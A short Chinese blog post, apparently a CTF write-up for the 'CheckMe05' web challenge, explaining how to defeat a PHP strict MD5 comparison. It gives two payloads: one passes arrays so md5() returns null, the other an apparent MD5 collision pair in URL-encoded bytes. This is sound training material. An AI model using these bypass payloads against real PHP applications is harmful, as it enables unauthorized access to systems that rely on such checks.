qsnctf CheckMe05 wp

丨Arcueid丨

于 2022-11-10 17:17:39 发布

阅读量179

点赞数

分类专栏： CTF-WEB 文章标签： PHP MD5 安全漏洞 payload Web安全

本文链接：https://blog.csdn.net/qq_35782055/article/details/127792654

版权

CTF-WEB 专栏收录该内容

38 篇文章 4 订阅

订阅专栏

启动环境
在这里插入图片描述
md5强比较
根据php中md5函数无法处理数组返回null的特性
构造payload

?a[]=1&b[]=2

或者

?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2